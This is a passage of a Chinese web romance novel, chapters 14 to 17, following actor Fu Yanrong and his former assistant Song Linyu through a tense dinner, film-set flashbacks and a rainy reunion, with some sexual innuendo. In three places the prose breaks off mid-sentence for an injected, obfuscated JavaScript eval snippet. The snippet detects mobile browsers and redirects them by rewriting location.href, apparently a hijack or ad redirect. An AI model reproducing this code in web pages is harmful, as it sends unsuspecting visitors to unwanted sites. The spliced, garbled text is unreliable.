那年轻人显然才二十出头,眉眼青涩,打扮得干净得体,偏偏神情有点拘谨。他坐在这群人里,眼神又忍不住频频往傅宴容这边瞥,看得出来,是被梁靖言带着来“开眼界”的。 此刻听了这句话,他有点尴尬地点了下头,规规矩矩地重新倒满了一整杯酒。 杨婉一向心细,扫了两眼就懂他的心思,忍不住笑出声,对梁靖言说:“难得和我们见面,你倒是闲得很。带这么个小孩来凑什么局?这下倒好,琵琶别抱了吧?” 梁靖言倒也不生气,也没急着解释,笑意挂得稳:“婉姐,你这话说得冤枉,我是见你们都算老熟人,带个人来见见世面,哪敢乱来?” 他看了看已经坐下的傅宴容,接着说:“再说了,傅哥感兴趣,难道我还不让?这不是人不想要嘛。” 梁靖言扫了一眼坐在身边瑟瑟发抖的人,话说得敞亮,语气里却也带了几分显而易见的揶揄。那小明星紧张地垂着头,不敢再乱动,只能用讨好的视线看着梁靖言。 梁靖言笑起来,半真半假地说:“没生你气。怎么这么胆小,像只兔子似的?这样可不讨人喜欢。” 他顿了一下,语气转了个弯,像是想起什么,又顺口问了一句:“对了,傅哥,你之前拍戏时总跟在身边的助理呢?我总觉得他挺眼熟的,今天怎么没见着?” 一句话说完,桌上空气像是凝滞了。 杨婉夹菜的动作稍微停了下,抬头看他们,疑惑地问:“哪个助理?我怎么没印象?” “客串《四分之三》那部片子的时候,我当时印象可深了……” 梁靖言话留一半就没再细说,只是笑着喝了口酒,仿佛无意。 随后,他又堂而皇之的偏过头,故意用说悄悄话的语气同傅宴容交头接耳: “傅哥,其实我一下飞机就看到了你的热搜,有个问题实在是想问你。” “你有没有觉得,以前那个你很喜欢的小助理,和最近东钰的那位宋总长得真的很像?” “像得我都差点以为,宋老先生原来留在外面的私生子,不止一位呢……” 他尾音拉的很长,未尽之言留的明显。傅宴容慢半拍抬起眼皮打量他,神色懒懒淡淡,眼底却透着点凉意,像是把他那点旁敲侧击的试探看得清楚透彻。 梁靖言这次回大陆,是担纲和《隐面》对打的《夜航》男主。这片子原本是华彩签了对赌协议要有成绩的,谁知道撞上了东钰全权投资,硬要捧人的《隐面》。 虽说小火靠捧,大火靠命,但这么多钱砸下去,不可能毫无水花,华彩相当忌惮宋临俞和傅宴容,总要从他们身上挖点猛料出来。 傅宴容……他黑料和红稿全网数量基本对半,有多少人恨他就多少人爱他。你不能指望一片废墟塌房,更没办法阻挡傅宴容被众人追捧。 那么突然出现,本身存在就值得诟病的宋临俞,才是最好下手的那个。 如果他们有那么点矛盾,就更好了。 …… 傅宴容清楚,以前的事,宋临俞想必早已处理过。只是当时梁靖言客串几场戏就回了香港,并不显眼,也就没人在意。 他看着神色有几分紧张的梁靖言,突然不怎么走心地弯了弯眼尾,慢吞吞笑了起来。他这样笑的时候眼下小痣若隐若现,表情很淡,是种疏离的敷衍。 “没见着就对了。” 傅宴容漫不经心的喝了口酒。 “我玩腻了。” 他嗓音不紧不慢,语气听着平平淡淡。这么轻描淡写一句话,好像确实只是件无关紧要的旧事。 梁靖言和他对视良久,突然笑着“啊”了一声,轻声说:“这样,那还真是可惜。” 14.冰激凌-p 拍《四分之三》的时候,梁靖言客串的角色是个深夜爱在那种地下赌.场花掉所有生活费的学生,而傅宴容演的角色黎故,身份之一是看场的拳手。 所以那部戏里,他对傅宴容有印象的时候,只有两个地方: 闷热喧哗的赌.场,和那个用来□□的斑驳湿热的地下室。 梁靖言的戏份很集中,但是并不算少。他拍戏的时候,没有戏份的傅宴容也一定会在场,不管面前有没有镜头。 傅宴容演的黎故通常倚着剥落的墙面,打量着这座场子里形形色色的人,黑色背心松垮地挂在他身上,露出精瘦的臂膀和胸膛。妆造组在他身上画了一整条蟒蛇,从左肩盘旋而下,一直延伸到手腕。 黎故也留长发,但不是傅宴容那种纯粹为了好看或者角色留的感觉,他是不会打理的,发型凌乱又无所谓。湿漉漉的发尾遮了半张脸,也因此,在盯着人看的时候更加冰冷骇人。 那时候,江铭总要把梁靖言按在铺满毛毡的赌.桌前,让他一遍又一遍地抚摸沾着湿汗、非常滑腻的塑胶筹码,告诉他,你必须代入角色,表现出那种囊中羞涩且穷途末路的贪婪感。 梁靖言也有演技,但要达到江铭的标准,真的非常难。 他总也演不出那种感觉……直到他意识到自己可以看镜头后的傅宴容。 在没有任何人关注的角落里,傅宴容也仍然完全把自己当成了黎故,用嘲弄的眼神盯着他在赌.桌上挣扎的可悲模样,并且笑眯眯地仰起脸,直白地流露出“输钱你就去死好了”的那种戏谑神情。 这种时候,梁靖言就能体会到角色的愤怒和怨气,他也理解了江铭为什么要用这种方式要求剧组的每个演员,尤其是傅宴容。 《四分之三》这部片子没有在国内上映,但是梁靖言对其拿奖时组委会的颁奖词记忆很深。 大意是说,这部片子完全是导演江铭和主演傅宴容的炫技之作。傅宴容用一种极端的表演方式,完全夺走了观众的每一寸视线,让人真的觉得他和黎故一样,分不清镜子里的是角色还是自己,永远都找不到属于自己的那1/4。 这部片子刚拍的时候,梁靖言是有点可怜傅宴容的。因为他很清楚地知道,傅宴容这种完全代入式表演的下场,不是抑郁就是自我了断。 从古至今,所有分不清戏里戏外的人都是这个结局。 不过,后来这种情况发生了一点轻微的转变。 ——在傅宴容身边多出了一个新助理以后。 那个助理的年纪大概也不大,应该比傅宴容还要小一点,有种介于少年和青年之间的冷峻。很白,过于瘦削。每次剧组布景或者灯光师定点的时候,他就会走到傅宴容身边和他说话。 傅宴容往往会懒懒散散地随便坐在什么椅子上,慢吞吞地抬起头对宋临俞说:“你怎么又来烦我?” “没有很烦吧……”宋临俞迟疑地为自己辩解,然后他看了一下江铭的视线,十分谨慎地从自己拎过来的保温袋里拿出一根抹茶味冰激凌,递给傅宴容。 在剧组的时候,江铭是不允许有人耍大牌、找个助理随时随地拿着吹风机和冰美式伺候的。炎热的夏季,就要演出那种整个人都泡在热水里的烦闷感,就算真的热到起水泡了,江铭还会夸你贴近现实。 傅宴容看着那根在炎炎夏季里十分诱人的超冰双旋抹茶味冰激凌,很没有自制力地眨了下眼。 然后他对宋临俞严词拒绝:“不,黎故不吃抹茶冰激凌。” “傅宴容可以吃。”宋临俞小声地同他交头接耳,并且很轻地弯了一下眼睛。 三秒以后,傅宴容用一副很没办法的表情接过了那根冰棍,然后“啪嗒”一下分成了两半,把另一份递还给了宋临俞。 这下轮到宋临俞没反应过来,他歪了一下头,思索片刻之后才努力地解释:“我没有往里面放奇怪的东西,也没涂什么胶水,就是便利店买的。” 傅宴容突然不说话了。 他抬眼看了宋临俞几秒,突然伸手握住了宋临俞的手腕,起身把他往身后凸起的柜台边上带。 这个场面,电影里也有,甚至才拍完不久。黎故有性.瘾,江铭在这部片子里用了大量刺激且隐喻丰富的激情戏来体现他的性格。 宋临俞在旁边看的时候,记得这一幕:傅宴容把对手演员死死抵在锋利的桌沿,不顾角色的疼痛和哭喊以及刺出来的伤疤,自顾自地同他像野兽一样交.媾。 宋临俞当时盯着傅宴容有薄汗滑过的紧绷下颌和他露在镜头前的小半截腰看了一会儿,略显仓促地别开了头。 此时,宋临俞正堪称顺从地仰起头,跟着傅宴容的摆弄行动。 傅宴容很难出戏的这一点,宋临俞大概感受到了。所以他并没有询问或者挣扎,而是默默地等待着自己后背接下来会感受到的疼痛。 但是,傅宴容环了一下他的腰。 和镜头里不一样的是,傅宴容将手撑在了柜台边上。宋临俞靠过去的那一瞬间,肌肤透过很薄的T恤,轻而易举地感受到了傅宴容手的温度。 很烫,甚至连分明的骨节都能感受到,就这么直白地抵在腰侧。 宋临俞身体微不可察地僵了一下,觉得这比凸起的桌沿更让人难以适应。 本来要递给他的另一半棒冰,被傅宴容一起拿在了手里,因为太热而已经开始融化,粘稠地散发出抹茶清苦的味道。 宋临俞的喉结轻轻滚了一下,听见傅宴容很直接地问:“刚刚那么说,是因为以前有人欺负过你吗?” “……什么?” 宋临俞脑子宕机一瞬,怎么也没想到他会这么问自己。过了一会儿,他才迅速地垂下眼帘,状似自然地回答:“没有。” 傅宴容很平静地注视着他,说:“没关系,你可以和我说实话。” 说起来,黎故的妆造绝对是很容易给人危险感的,且宋临俞也很讨厌密闭的空间。 可是,当被傅宴容困在这个狭小方寸世界里的时候,他发现自己竟然没有什么不适应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178010|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么,好奇怪。 宋临俞抿起唇,过了一会儿才再次否认道:“没有。” 傅宴容靠得更近了一点,冰激凌带来的凉意逐渐靠近宋临俞的脸颊,他感觉自己被某种奇怪的糖分俘虏,连思绪都变得迟缓。 “宋临俞。”傅宴容加重了语气。 然后他顿了一下,垂眸看向宋临俞不自觉抓紧的、攥住自己衣角的手。 沉默片刻后,他才继续开口:“……我刚刚的意思是分一半给你。” 宋临俞茫然地注视着他,皱了皱眉想说些什么,也许大概是不用这样的废话。 只是在他启唇的那一瞬间,唇瓣上就多了一片冰凉。 抹茶味的冰激凌并不是纯甜,但轻轻吮吸就能把清苦后的甜腻全数锁在齿间,是难以拒绝的美味。 宋临俞忍不住轻轻地咬了第二口,然后小声地对傅宴容说:“谢谢。” 傅宴容轻笑一声,看他这样,突然觉得有点好玩。 于是他也咬了自己手里另一半的冰激凌,懒洋洋地和宋临俞一起,在这个没什么人关注的角落里,分享别人不知道的小小夏天。 直到江铭巡视一圈看到他的小动作,怒道:“黎故,干什么呢!” 这一声把他从戏外又拉回了戏内。傅宴容啧了一声,转过头应了一下,随后咬碎嘴里最后一口甜冰,顺带抬起手把自己胸前的墨镜按在了宋临俞脸上。 “他骂你你就跑。” 傅宴容这么说着,冲宋临俞狡黠地笑了笑,然后转身走回镜头前。 …… 梁靖言就像这样观察着傅宴容和他的助理,也因此他意识到,在越来越多的时刻,傅宴容会成为傅宴容。 比如在熬大夜戏的晚上,宋临俞总会远远站在人群中陪他一起等。傅宴容熬多久,他也熬多久。每次休息的时候,就算江铭不让,他也会带点什么东西进来。 一起拍戏的演员总是开玩笑说,傅宴容这次找了个靠谱的好助理。听到这句话,傅宴容往往会点个头,然后穿过人群走到宋临俞身边。 他居高临下地看着宋临俞,说:“不用等我,你可以去休息;实在不放心,就让季承来盯着。” 宋临俞摇头,很轻地回答:“没关系,我只是想看着你。” 无论怎么说,他都永远是这句话。 傅宴容垂下眼,看见宋临俞一直都像这样很听话地坐在片场外不怎么干净的台阶上等他。申澜的夏天的昼夜温差有点大,晚上拍夜戏在室外,风吹过竟然还有点凉。 宋临俞突然若有所感似的抬起手,握了握傅宴容的指尖,自顾自地感受了一下温度后,才点头肯定道:“没着凉。” 但他自己的手心是冰的。 傅宴容沉默一会,什么也没说,只是把身上的外套扔进了宋临俞怀里。 …… 梁靖言看到了这一幕,所以他记得宋临俞,直到今时今日。 那一瞬间,他突然觉得傅宴容有了自己的四分之一。 15.短信 梁靖言说话的时候,傅宴容还是无法抑制地想起了宋临俞。 这很烦,明明是他自己威胁宋临俞不要出现,似乎以为这样就能摆脱那种如影随形的存在感。 可是在申澜这并不容易做到,因为只要一回到这里,宋临俞的影响就无限延伸。 不是财经新闻里每日推送的那种存在感,不是从合作伙伴嘴里听到宋临俞名字的那种存在感,而是傅宴容在脱口而出“我玩腻了”之后,还能想起那支一分为二的棒冰的存在感。 电影制作里,每一秒钟由二十四帧画面组成,这短短的二十四帧是保证影片流畅感的核心。 很多导演会用抽帧的方式来表现时间的跳跃与流逝,而作为无数镜头里的主角,傅宴容也同样如此处理着自己的回忆。 但无论怎么剪辑删除,在梁靖言提起的那一瞬间,他还是能想起指腹按过被冰得生凉的唇瓣时,宋临俞轻轻眨了一下眼睛的那个片段。 手机里打开的一局游戏到了尾声,傅宴容看了一眼战绩,不轻不重地啧了一声,偏过头看向凑过来的杨婉。 “这么杀人如麻?”杨婉盯着他的结算页面,摇头说:“不算应酬的局你都烦成这样,新戏很难办?” “……还好吧。”傅宴容垂着眼答了一句,摊开手冲她说:“借我支烟。” “不是不抽吗?”杨婉边说边从提包里拿了盒万宝路给他,眼里满是探究。傅宴容没理,接过说了句谢谢,起身离席。 春潮带雨晚来急,早春的细雨毫无征兆地打在窗玻璃上,包厢里灯影摇晃,傅宴容带上门,将人声隐隐落在身后。 山庄夜里安静得过分,除了细雨声几乎能称得上万籁俱寂。走廊尽头有风穿过,带着山林的凉意,比嘈杂包厢稍微令人舒心。 傅宴容这么想着,抬起手,却发现自己没问杨婉借火。 愣了半拍后,他有些无奈地笑了笑。 声音得很轻,很快弥散在夜色里,融进雨雾变得模糊而透明。而远处,也同时传来伴着雨声的几声低谈,和一阵西装革履的脚步声。 傅宴容转过头,看向几步开外的另一栋主楼。 侧厅的落地窗透着光,好像里面的人在参加什么团建活动。而被推开的门里走出来一群人,为首的那个侧身露出半边脸,是一张和傅宴容回忆里不太一样,却又有几分相似的脸。 傅宴容顺着廊檐静静站了一会儿,想起东钰年假放得长而早,所以年会都安排在春节后。 霁月岚庭名声响亮,他们今年远在这里团建并不奇怪。宋临俞又不知道霁月岚庭和傅宴容的关系,否则他不会过来。 而正因为东钰所有人都在这里,梁靖言才会着急把饭局定在今晚。 傅宴容收回视线,转身往湖边的锦鲤池走,那里隔得足够远,想必不会被任何人打扰。 他从长廊一路走进观鲤的小亭里,刚在石椅上坐下,杨婉和江铭的信息就蹦了出来,他们让傅宴容别急着走,说等打发完梁靖言就陪他去赛车。 傅宴容回了句“嗯”,把从杨婉那儿顺来的万宝路懒懒夹在指尖,撑着桌子看因为小雨变得格外活跃的锦鲤穿梭嬉戏。 湿润的天气总带着挥之不去的水汽,不知道过了多久,久到细雨仿佛在傅宴容长睫上都覆了层雾,他才慢吞吞地阖了下眼睛。 再睁开时,他突然发现亭子外的小路上站着人。 宋临俞正隔着不远不近的距离,安静地注视着傅宴容。 他好像已经站了很久,只是傅宴容的视线一直落在池中,余光只能看到延伸过来的长廊,所以才没发现他的存在。 细雨把宋临俞苍白的脸濡湿成一团湿软的棉絮,晶莹的雨珠从他黑色的大衣上滑落进青石阶,溅起微弱的一小团水渍,声音恰好掩盖住他们对视时,呼吸轻轻顿住的那一拍。 宋临俞之前从宴会厅出来,转身的那个侧脸,和以前不太一样。 少了年轻时需要掩盖的阴郁脆弱与几分乖觉,只留下锋芒毕露的野心和尖刺。 但他现在被雨淋湿,死死抿着唇仿佛无处可去的样子,又和以前一模一样。 傅宴容沉默了一会儿。 不知道是不是因为雨天,让人情绪也变得平静,片刻后他掀起眼,看着宋临俞的脸,淡淡地问:“下雨了站在那儿干什么?” 宋临俞动了动嘴唇,好像想说些什么,却又怕说错,只能很慢地从路上走进亭中。 看起来傅宴容没对和他共处一室表示什么不满。 宋临俞站在廊柱旁,觉得这样就很好。他虽然不被允许和傅宴容说话,但是也不太敢去打量傅宴容的神情。 因为他知道自己望进含着一层冷淡薄雾的眼睛,所以只能逃避。 令他没想到的是,傅宴容突然主动问:“你看到我了?” 宋临俞犹豫了片刻,心说这次是傅宴容先搭话,应该不算自己反悔,这才点了点头,诚实地说:“我看到你转身走了。” 漆黑的夜,模糊的背影,但宋临俞仍然能认出那是傅宴容。于是身体的本能反应给出指示,他自己都没意识到发生了什么,就已经追了上去。 又因为不想被傅宴容看见让他心烦,才站在池边小路的视觉盲区。 “也对,你总是能看见。” 傅宴容这么说着,没带什么感慨的语气,好像只是在平静地叙述一件基本事实。 氛围静谧到极致,接下来谁也不知道说什么,谁也不想说什么。 可宋临俞又怕傅宴容很快就走,好不容易有个能说话的机会,他不太想放弃。 于是过了一会儿,他像没控制住自己一样很快地开口说:“那段视频,银湖澄清的视频是我让他们发的,没提前通知你……如果你需要备份,我现在可以发给你。” 话说完宋临俞就后悔了,因为这实在太像一个拙劣的要回联系方式的借口,或者说,是祈求解除黑名单的借口。 但他又真的想要,哪怕不能完全重新得到,宋临俞也想饮鸩止渴地从傅宴容这里尝到一点甜头。 他把手放进口袋,按住手机边缘,指腹在略有些尖锐的边角重重地磨了一下,这才艰难地抽出,递到傅宴容面前。 只是拿在手心里的手机在空中僵持了半分钟,傅宴容仍然没什么反应。 于是宋临俞垂下眼,若无其事地转换话题,轻声问:“你没带火吗?” 傅宴容低头看了一眼自己手中虚虚夹着的万宝路,也许是鬼使神差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180628|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许是习惯使然,他应了一声。 宋临俞熟悉他的动作和神情,明白傅宴容现在这个样子是可以接近的意思。 即使不知道为什么傅宴容会有态度上的转变,宋临俞还是有点开心地俯下身,十分郑重地为他点燃手里的那支烟。 雨夜有风,宋临俞在细微火苗映照下的眉眼极其专注,他抬起手虚虚拢住被吹得摇晃的火苗,指骨上面细密的水珠清晰可见,甚至有一滴悄然滑落,打在了傅宴容的手背上。 傅宴容喉结轻轻滚动了一下,片刻后,才用投诉服务的语气,对宋临俞平静地轻声控诉: “你手太冰了。” 宋临俞愣住了,半晌,才小声说:“对不起……?” 傅宴容停顿半拍,忍无可忍地低下了头。 他收回手,在窜起的薄薄烟雾里摄入一口让自己冷静的尼古丁。很深的阴影里,他纤长的眼睑半敛,眼尾那颗小痣浓稠得像什么擦不掉的水渍。 宋临俞不知道为什么这一瞬间傅宴容看起来这么难过,他本能地感到慌张,急促开口问:“你——” “我没有把你放进黑名单里。” 傅宴容毫无征兆地开口说话。 他无视宋临俞一瞬间卡在喉间不能发出的声音,继续说了下去。 “你不知道,是因为你没想过再用那个账号给我发消息,和我解释任何事。你只是换了号码,自以为天衣无缝地联系我。” 傅宴容抬起头,看着他的眼睛,一字一顿地告诉他:“宋临俞,你太笨了。” 宋临俞愣在那里,嘴唇动了动,想说什么,脑海却一片空白,连句完整的话都说不出口,只能怔怔地听着傅宴容说下去。 “每年我生日的时候,所有人都发完祝福,你才姗姗来迟,用不同的号码伪装成不认识的合作伙伴对我说生日快乐。” “你不知道其他人都会卡点吗?” 傅宴容自嘲似的笑了笑,烟雾轻飘飘绕过他半张侧脸,他声音低得几乎被雨声裹住: “你知道要找我,但你从来什么也不说。” “我去柏林的第一年冬天,有个尾号4103的号码问我,柏林冷不冷。” …… 那年,柏林下了难得一见的雪。 街上几乎没有行人,四周安静得过分。傅宴容没坐车,一个人从剧组走回别墅,风把围巾吹得松松垮垮,冰冷的雪粒顺着风一起吹进肺里。 傅宴容还没从角色里走出,他走在桦树林边,一个人在风雪中将自己慢慢剥离。 而就算到家推开门,迎接他的也只有空荡的房间,冰冷寂静得像从来没住过人。 傅宴容什么也没说,把外套搭到沙发上,正准备起身去开暖气。但这一瞬间,手机忽然亮了。 屏幕上的是一条陌生号码发来的短信,看起来像什么骚扰信息,内容却又简单得几乎可笑: 「柏林冷不冷?」 傅宴容指尖收紧,盯着那几个字看了很久,直到雪光从窗缝透进来,映在屏幕上刺得人眼睛发涩发疼。 他慢慢放下手,消息没回也没删。 后来每一年冬天,这句问候不再来。 但那个号码,傅宴容始终没拉黑。 16.答案 微苦薄荷的烟雾在雨夜中浓稠湿润,傅宴容夹着烟的手抬起,尾端橙红色火点明灭一瞬,随即被咸涩的眼泪浸透。 他突然意识到宋临俞在哭。 原本半弯着腰的宋临俞狼狈地低下头,手心死死撑着膝盖,指节发白,连呼吸都带着细碎的颤音。他的眼泪顺着脸颊滑落,哪怕紧紧阖上眼睛也无法阻挡。 傅宴容看不清他的脸,但他能想象出宋临俞此时的模样。 在他面前,宋临俞似乎很容易哭,只是以前泪水滴落的地方,往往都在傅宴容的怀中。 那个时候,傅宴容喜欢用指尖接住他如珠串般坠下的眼泪,再像涂鸦般抹在他发红的眼角。他一边笑着听宋临俞低声求饶,一边似有似无地在人眼尾留下一个吻。 于是宋临俞就会抬手搂住他的肩,把脸埋进去,耳根开始发烫,仿佛才反应过来应该感到羞涩。 而现在,傅宴容低头看着他的泪水,分外平静地说:“宋临俞,你不要哭。” 宋临俞竭力点了点头,他想说,好,你说什么我都会听着。 他还想开口解释,想把一切和盘托出,可这一刻,他的嗓子疼得像被钝刀子刮过一样,任何声音都发不出来。过重的空气灌进肺里,又带着铁锈味反涌上来,吐不出也咽不下去。 太难受,也太绝望了。 宋临俞意识到,自己真的错过了许多傅宴容留给他的时间。但无能为力的是,即便他明白了这一点,也还是别无选择。 仿佛命运把他推到这里,从一开始就是为了和宋临俞开个玩笑。 若不想重蹈覆辙,似乎唯一的答案是从不相识。 ……唯独这个答案,宋临俞无法接受。 无数纷杂的念头穿梭在脑海,过于失衡的情绪让宋临俞的身体也诚实地做出了反应。尖锐的耳鸣如一把长刀逐渐贯穿思绪,将所有情绪都扎碎成纷飞的纸片。 而把他拉回现实的,是傅宴容身上温热的触感。 是一个……拥抱? 为什么做错了事还能得到拥抱? 宋临俞攥得死紧的指尖缓缓松开,掌心发麻。他怔愣着睁开眼,想抬头说些什么,却被傅宴容按着后颈的手更用力地压回怀里。 “傅老师……” 略带怯意的声音从宋临俞身后传来,远处长廊里的脚步声迟疑了一瞬,最后缓缓停下。 傅宴容掀起眼,不轻不重地打量着来人。 是之前酒桌上那个为自己倒酒的小明星。酒过三巡时,他似乎做了个自我介绍……叫齐臻,还是齐琛来着? “我看您今天好像没玩得尽兴,不知道是不是因为之前我有点冒犯,想和您道个歉……” 齐琛双手在胸前绞紧,嘴里慌慌张张地念了几句借口。 可随着视线逐渐明朗,他又有些尴尬地闭上了嘴。 山庄的环境灯不算太亮,但也能让人模模糊糊地分辨出傅宴容身前跪着道身影。他全身上下带着湿热的潮气,正被按着后颈压在腿.间,只露出半截慌乱中撑在傅宴容膝上的腕骨,姿势怎么看怎么暧昧。 傅宴容不紧不慢地看着齐琛,唇边扯出一个弧度,似笑非笑地问:“怎么道歉?” 随着他话音落下,齐琛清楚地看见撑在傅宴容膝上的那只手轻轻动了动,骨节分明指节乖顺的曲起,用掌心格外柔软的肌肤蹭着傅宴容的膝头,一路顺着漂亮的线条轮廓往内延伸,洇开某种深色的水渍。 而之前在宴会灯下神情冷漠的傅宴容此刻居然什么也没说,只是略微垂眼看了看身前的人,便纵容地默许了他的动作。 衣料摩擦的暧昧声响窸窸窣窣地在暗夜里响起,哪怕齐琛并非那种什么都不懂的纯情小白兔,看到这一幕还是觉得有些过于刺激。 傅宴容并不缺投怀送抱的人,齐琛原本打的如意算盘彻底落空。至于梁靖言叮嘱他观察傅宴容和宋临俞是否见面这件事…… 总不可能跪在那的人是宋临俞吧? 那也太荒谬了。 他没有再待在这里的理由,只能对着傅宴容迅速说了几句赔罪的话,然后飞快地跑走了。 傅宴容瞥了一眼他远去的背影,松开手,把宋临俞提远了一点。 刚刚宋临俞几乎把脸埋进了他身前的衣料里,又因为之前哭得太狠,此时整张脸都泛起过艳的颜色,仿佛他们刚刚真的经历了一场不可言说的亲密。 傅宴容面无表情地与他对视,看见宋临俞掩饰似的压过苍白的一小截下巴,随即下意识伸出舌尖舔过自己唇上那颗发红的唇珠。 眼里还是呆的,这么做就像条件反射一样。 “……” 都是以前造的孽。 傅宴容可疑地沉默了一下,随即冷酷地伸出手往旁边点了点,示意宋临俞站远些。 宋临俞乖乖起身,虽然没反应过来发生了什么,但态度倒是十分听话。 然后他犹豫了一下,最终还是没忍住,小心翼翼地碰了一下傅宴容的手,是那种流浪猫试探着挠人的碰法,十分轻柔。 “什么事?” 傅宴容有些不耐烦地整理着胸前被他捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197044|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱的衬衫,随即,又听见宋临俞很小声地问:“那个人……之前怎么冒犯你了?” 傅宴容拿起手机起身,疑惑地反问他:“你确定你现在有立场问我这个问题?” “他不好。” 宋临俞神经质地抓了一下自己的指尖,像被傅宴容那句话刺到了,却又忍不住开口辩解,一副真的十分在意这件事的样子,固执又任性,说出的话甚至还带着几分刻薄。 “为了利益凑上来的虫子而已,无论是脸还是智商都不堪入目,这种人只会给你添麻烦,离他们远点比较好——” 话说到一半,宋临俞忽然停了下来,一言不发地垂下眼,死死抿住了唇。 他的嫉妒没完没了,在无法见面的日子里不断发酵,只是这样看起来太面目狰狞,太令人厌烦了。 宋临俞意识到自己又做了一件蠢事。 理所应当的,傅宴容笑了起来。 他乐不可支地俯身靠近宋临俞,指尖带着随意的狠劲捏住了他的下巴。傅宴容力道其实不重,姿态却分明透着几分不耐烦的玩味,像在打量一件待估价的商品。 他眼尾微弯,语气轻慢又嘲弄:“宋临俞,那你就很好吗?” 话音落下,空气仿佛随之凝滞。 一阵冗长的沉默后,宋临俞轻轻摇了摇头。 他抬手覆住傅宴容的手腕,动作轻巧克制,像怕惊扰了什么似的,缓慢却坚定地将自己从对方的掌控中抽离。 紧接着,他冲傅宴容笑了笑,神色敛然,一字一顿,很认真地告诉他:“哥,对不起,我是所有想接近你的人里,最差劲的那一个。” 傅宴容被握过的手腕沾上一片冰凉,他无动于衷地垂下眼,看见自己青白的肌肤上圈过一层朦胧的水渍。 很像一副一碰就碎的手铐。 “但我还是……没办法放手。” 因为你很好,哪怕我不择手段、妒忌成性、贪心不足,你仍然会选择拥抱我。 “所以,可不可以再给我一点时间?” 再给我一点时间,我很快,很快就会回到你身边。 …… 傅宴容轻轻叹了口气,所有话到了嘴边,又生生咽了下去。 风吹过来,夜色很静。 他转身离开,脚步不急不缓。宋临俞望着他的背影,直到他走出几步后,话音才低低落下。 “你还是不懂,宋临俞,我想听的不是这个。” 说完这句话,傅宴容停顿了一瞬,又轻声补了一句:“是我当时没教好你,我的错。” 17.想要-p 2018年8月13日,电影《四分之三》杀青。江铭在杀青宴上十分淡定地对来采访的媒体表示,这部片子将为傅宴容拿下第二个最佳主演。 消息一出,全场哗然。无数闪光灯四处乱晃,势必要把被影评人称之为“早已江郎才尽”的傅宴容从头到尾扒个干干净净。 但很遗憾,傅宴容本人并未到场。和他缺席年少成名的那部电影《春潮暗涌》的杀青宴一样,这一次他也同样消失得无影无踪。 宋临俞收到季承消息的同时,已经站在了傅宴容公寓门口。季承在消息里特意叮嘱他这个糊里糊涂上岗的助理,不要在刚拍完戏的一段时间里去找傅宴容,否则下场也是触这个大少爷的霉头被开除。 宋临俞看了一眼,面无表情地回了个收到。紧接着,他抬起手准备解锁公寓门口的指纹锁。 只是,手机里又突然蹦出来一条陌生人来信。 「老板,耿言之那边的意思是拒绝和我们合作,我们暂时还没抓到他的把柄,他手里的股份目前……」 宋临俞不悦地皱了皱眉,屏幕上泛出来的冷光把他偏浅的瞳仁照得冰凉。他收回手,毫不犹豫地在键盘上打出一段话:「没抓到就自己去制造,耿言之的儿子管不住下半身,闹出点事不是很容易吗?」 然后,他厌烦地抬起眼,把这条信息长按删除,打开了澜庭公寓的门。 原本宋临俞以为,这个时间点傅宴容应该还在休息。毕竟拍戏昼夜颠倒,要把作息调回来很不容易,更别提傅宴容这种经常缺觉的人。 但令人意外的是,他竟然坐在影音室里看江铭刚发过来的《四分之三》的粗剪版本。 房间内根本没开灯,傅宴容坐在地毯上,托着脸,一言不发地看着小型银幕上自己截然不同的样子。 粗剪版本几乎只是删掉了一些无效和重复的镜头,更别说加上配乐调色和音效。这就导致投射在银幕上的画面如同一部最真实的纪录片,记录着角色的悲欢离合,从生到死。 肉.体交缠的暧昧声响也忠实地被镜头记录了下来。虽然说只是用了拍摄手法达成的暧昧效果,但毫无处理的带着低喘的气声仍然足够让人脸红心跳。 而就是在这样的呻吟中,傅宴容很轻地笑了笑,随后摊开手,准确无误地按住了一声不吭走到自己身边来的宋临俞。 宋临俞没想到自己这么快就被发现了。他自认为自己的行动极其隐蔽小心,却还是精准无误地被傅宴容抓到怀里,替代了他原来抱着的沙发靠枕。 傅宴容居家时穿的总是很舒服,只有一件轻薄的短袖轻飘飘贴着皮肤。夏季的末尾仍然有着余热,宋临俞被他抓过去的时候,能清晰地感受到如同被温水涤荡过的暖意。 温热,轻柔,给人一种即使是世界末日也能安心回去的安全屋的安心感。 宋临俞怔了一拍,随即感到自己头顶上多了些不痛不痒的重量。傅宴容将下巴枕在他头顶,眼睛仍然专注地望着不断切换的画面,懒洋洋地开口说: “别乱动。” 是那种闷闷的鼻音,还带了点说不清的沙哑。 宋临俞垂下眼,安安静静陪他看。 